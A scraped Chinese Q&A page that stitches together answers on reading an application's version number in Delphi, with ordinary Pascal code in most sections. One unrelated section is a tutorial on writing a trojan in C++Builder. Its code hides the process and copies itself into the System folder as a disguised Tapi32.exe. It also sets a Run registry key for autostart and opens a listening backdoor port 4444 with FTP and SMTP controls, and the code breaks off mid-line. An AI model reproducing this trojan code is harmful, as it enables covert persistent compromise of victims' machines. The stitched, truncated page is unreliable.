delphi獲取版本號

❶ 如何確定Delphi應用程序版本問題，怎麼解決

• functionShowVersion:String;//獲得應用程序的版本號

• var

• VerInfo:PChar;

• lpTranslate:PLANGANDCODEPAGE;

• FileName:String;

• VerInfoSize,VerSize,cbTranslate:DWORD;

• VerValueSize:DWORD;

• Data:String;

• VerFileV:PChar;

• lpFileVersion:string;

• begin

• Result:='0.0.0.0';

• FileName:=Application.ExeName;//應用程序對應的exe文件

• VerInfoSize:=GetFileVersionInfoSize(PChar(FileName),VerSize);

• ifVerInfoSize>0then

• begin

• VerInfo:=AllocMem(VerInfoSize);

• GetFileVersionInfo(PChar(FileName),0,VerInfoSize,VerInfo);

• VerQueryValue(VerInfo,PChar('/VarFileInfo/Translation'),Pointer(lpTranslate),cbTranslate);

• ifcbTranslate<>0then

• begin

• Data:=format('/StringFileInfo/%.4x%.4x/FileVersion',[lpTranslate^.wLanguage,lpTranslate^.wCodePage]);

• VerQueryValue(VerInfo,PAnsiChar(data),Pointer(VerFileV),VerValueSize);

• ifVerValueSize<>0then

• begin

• SetString(lpFileVersion,VerFileV,VerValueSize-1);

• Result:=lpFileVersion;

• end;

• end;

• FreeMem(VerInfo,VerInfoSize);

• end

• else

• begin

• Result:='0.0.0.0';

• Application.MessageBox('獲取文件版本信息時遇到致命錯誤，請重新打開軟體。','錯誤',MB_OK+MB_ICONSTOP);

• Application.Terminate;

• end;

• end;

❷ 簡單的木馬怎麼編寫啊

特洛依木馬這個名詞大家應該不陌生，自從98年「死牛崇拜」黑客小組公布Back Orifice以來，木馬猶如平地上的驚雷， 使在Dos——Windows時代中長大的中國網民從五彩繽紛的網路之夢中驚醒，終於認識到的網路也有它邪惡的一面，一時間人心惶惶。

我那時在《電腦報》上看到一篇文章，大意是一個菜鳥被人用BO控制了，嚇得整天吃不下飯、睡不著覺、上不了網，到處求救！要知道，木馬（Trojan）的歷史是很悠久的：早在AT&T Unix和BSD Unix十分盛行的年代，木馬是由一些玩程式（主要是C）水平很高的年輕人（主要是老美）用C或Shell語言編寫的，基本是用來竊取登陸主機的口令，以取得更高的許可權。那時木馬的主要方法是誘騙——先修改你的.profile文件，植入木馬；當你登陸時將你敲入的口令字元存入一個文件，用Email的形式發到攻擊者的郵箱里。國內的年輕人大都是在盜版Dos的熏陶下長大的，對網路可以說很陌生。直到Win9x橫空出世，尤其是WinNt的普及，大大推動了網路事業的發展的時候，BO這個用三年後的眼光看起來有點簡單甚至可以說是簡陋的木馬（甚至在Win9x的「關閉程序」對話框可以看到進程）給了當時中國人極大的震撼，它在中國的網路安全方面可以說是一個劃時代的軟體。

自己編寫木馬，聽起來很Cool是不是？！木馬一定是由兩部分組成——伺服器程序（Server）和客戶端程序（Client），伺服器負責打開攻擊的道路，就像一個內奸特務；客戶端負責攻擊目標，兩者需要一定的網路協議來進行通訊（一般是TCP/IP協議）。為了讓大家更好的了解木馬攻擊技術，破除木馬的神秘感，我就來粗略講一講編寫木馬的技術並順便編寫一個例子木馬，使大家能更好地防範和查殺各種已知和未知的木馬。

首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi，這里我們選用C++Builder（以下簡稱BCB）；VC雖然好，但GUI設計太復雜，為了更好地突出我的例子，集中注意力在木馬的基本原理上，我們選用可視化的BCB；Delphi也不錯，但缺陷是不能繼承已有的資源（如「死牛崇拜」黑客小組公布的BO2000源代碼，是VC編寫的，網上俯拾皆是）；VB嘛，談都不談——難道你還給受害者傳一個1兆多的動態鏈接庫——Msvbvm60.dll嗎？
啟動C++Builder 5.0企業版，新建一個工程，添加三個VCL控制項：一個是Internet頁中的Server Socket，另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個伺服器程序，可以對外服務（對攻擊者敞開大門）。Socket最初是在Unix上出現的，後來微軟將它引入了Windows中（包括Win98和WinNt）；後兩個控制項的作用是用來使程序具有FTP（File Transfer Protocol文件傳輸協議）和SMTP（Simple Mail Transfer Protocol簡單郵件傳輸協議）功能，大家一看都知道是使軟體具有上傳下載功能和發郵件功能的控制項。

Form窗體是可視的，這當然是不可思議的。不光佔去了大量的空間（光一個Form就有300K之大），而且使軟體可見，根本沒什麼作用。因此實際寫木馬時可以用一些技巧使程序不包含Form，就像Delphi用過程實現的小程序一般只有17K左右那樣。

我們首先應該讓我們的程序能夠隱身。雙擊Form，首先在FormCreate事件中添加可使木馬在Win9x的「關閉程序」對話框中隱藏的代碼。這看起來很神秘，其實說穿了不過是一種被稱之為Service的後台進程,它可以運行在較高的優先順序下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此，只要將我們的程序在進程資料庫中用RegisterServiceProcess（）函數注冊成服務進程（Service Process）就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有，那麼我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。

首先判斷目標機的操作系統是Win9x還是WinNt：

{
DWORD dwVersion = GetVersion（）;
// 得到操作系統的版本號
if （dwVersion >= 0x80000000）
// 操作系統是Win9x，不是WinNt
{
typedef DWORD （CALLBACK* LPREGISTERSERVICEPROCESS）（DWORD,DWORD）;
//定義RegisterServiceProcess（）函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary（"KERNEL32"）;
//載入RegisterServiceProcess（）函數所在的動態鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = （LPREGISTERSERVICEPROCESS）GetProcAddress（hDLL,"RegisterServiceProcess"）;
//得到RegisterServiceProcess（）函數的地址
lpRegisterServiceProcess（GetCurrentProcessId（）,1）;
//執行RegisterServiceProcess（）函數,隱藏本進程
FreeLibrary（hDLL）;
//卸載動態鏈接庫
}
}

這樣就終於可以隱身了（害我敲了這么多代碼！）。為什麼要判斷操作系統呢？因為WinNt中的進程管理器可以對當前進程一覽無余，因此沒必要在WinNt下也使用以上代碼（不過你可以使用其他的方法，這個留到後面再講）。
接著再將自己拷貝一份到%System%目錄下，例如：C:\Windows\System，並修改注冊表，以便啟動時自動載入：

{
char TempPath[MAX_PATH];
//定義一個變數
GetSystemDirectory（TempPath ,MAX_PATH）;
//TempPath是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小，得到目標機的System目錄路徑
SystemPath=AnsiString（TempPath）;
//格式化TempPath字元串，使之成為能供編譯器使用的樣式
CopyFile（ParamStr（0）.c_str（）, AnsiString（SystemPath+"\\Tapi32.exe"）.c_str（） ,FALSE）;
//將自己拷貝到%System%目錄下，並改名為Tapi32.exe，偽裝起來
Registry=new TRegistry;
//定義一個TRegistry對象，准備修改注冊表，這一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//設置主鍵為HKEY_LOCAL_MACHINE
Registry->OpenKey（"Software\\Microsoft\\Windows\\
CurrentVersion\\Run",TRUE）;
//打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run，如果不存在，就創建之
try
{
//如果以下語句發生異常，跳至catch，以避免程序崩潰
if（Registry->ReadString（"crossbow"）!=SystemPath+"\\Tapi32.exe"）
Registry->WriteString（"crossbow",SystemPath+"\\Tapi32.exe"）;
//查找是否有「crossbow」字樣的鍵值，並且是否為拷貝的目錄%System%+Tapi32.exe
//如果不是，就寫入以上鍵值和內容
}
catch（...）
{
//如果有錯誤，什麼也不做
}
}

好，FormCreate過程完成了，這樣每次啟動都可以自動載入Tapi32.exe，並且在「關閉程序」對話框中看不見本進程了，木馬的雛形初現。

接著選中ServerSocket控制項，在左邊的Object Inspector中將Active改為true，這樣程序一啟動就打開特定埠，處於伺服器工作狀態。再將Port填入4444，這是木馬的埠號，當然你也可以用別的。但是你要注意不要用1024以下的低端埠，因為這樣不但可能會與基本網路協議使用的埠相沖突，而且很容易被發覺，因此盡量使用1024以上的高端埠（不過也有這樣一種技術，它故意使用特定埠，因為如果引起沖突，Windows也不會報錯 ^_^）。你可以看一看TNMFTP控制項使用的埠，是21號埠，這是FTP協議的專用控制埠（FTP Control Port）；同理TNMSMTP的25號埠也是SMTP協議的專用埠。

再選中ServerSocket控制項，點擊Events頁，雙擊OnClientRead事件，敲入以下代碼：

{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定義了一堆待會兒要用到的變數
sprintf（TempFile, "%s%2

❸ 我的delphi程序編譯了怎麼版本號沒有變啊

Project -> Options ->Version Info ->勾選"Include version information in project" 和 "Auto-increment build number"兩個復選框
這樣 全編譯 也就是 Build all Projects 的時候 文件的版本號會回自動加1的
樓主可以試一下，答有問題再Hi我

❹ delphi 怎樣查 compilerversion

如果是想獲取當前的編譯器版本，可以訪問 System.CompilerVersion 屬性：

procereTForm1.Button1Click(Sender:TObject);
begin
ShowMessage(System.CompilerVersion.ToString());
end;

其他的 delphi 編譯器版本號如下備查：

❺ 怎麼在delphi程序里加上版本號

delphi 程序添加版本號，需要根據程序顯示版本號的用途確定。

如果是在程序里 關於... 對話框 這種專界面上顯示版本屬號，可以添加一個 label 標簽，直接設置顯示版本號即可。

如果是將編譯的程序里，添加上版本號、著作權等信息，可以設置工程的屬性，如下圖所示：

❻ delphi運行期的執行文件，怎麼獲取它的版本號

FunctionFileVersion(ConstaFile:String;VarAMajor,AMinor,ARelease,ABuild:DWORD):Boolean;
Var
LpdwHandle,VersionSize:DWORD;
VB:Pointer;
VS:PVSFixedFileInfo;
Begin
Result:=False;
AMajor:=0;
AMinor:=0;
ARelease:=0;
ABuild:=0;
LpdwHandle:=0;
VersionSize:=GetFileVersionInfoSize(PChar(aFile),LpdwHandle);
IfVersionSize>0Then
Begin
GetMem(VB,VersionSize);
Try
IfGetFileVersionInfo(PChar(aFile),0,VersionSize,VB)Then
Begin
VerQueryValue(VB,'',Pointer(VS),VersionSize);
AMajor:=VS.DwFileVersionMSDiv$10000;
AMinor:=VS.DwFileVersionMSMod$10000;
ARelease:=VS.DwFileVersionLSDiv$10000;
ABuild:=VS.DwFileVersionLSMod$10000;
Result:=True;
End;
Finally
Freemem(VB);
End;
End;
End;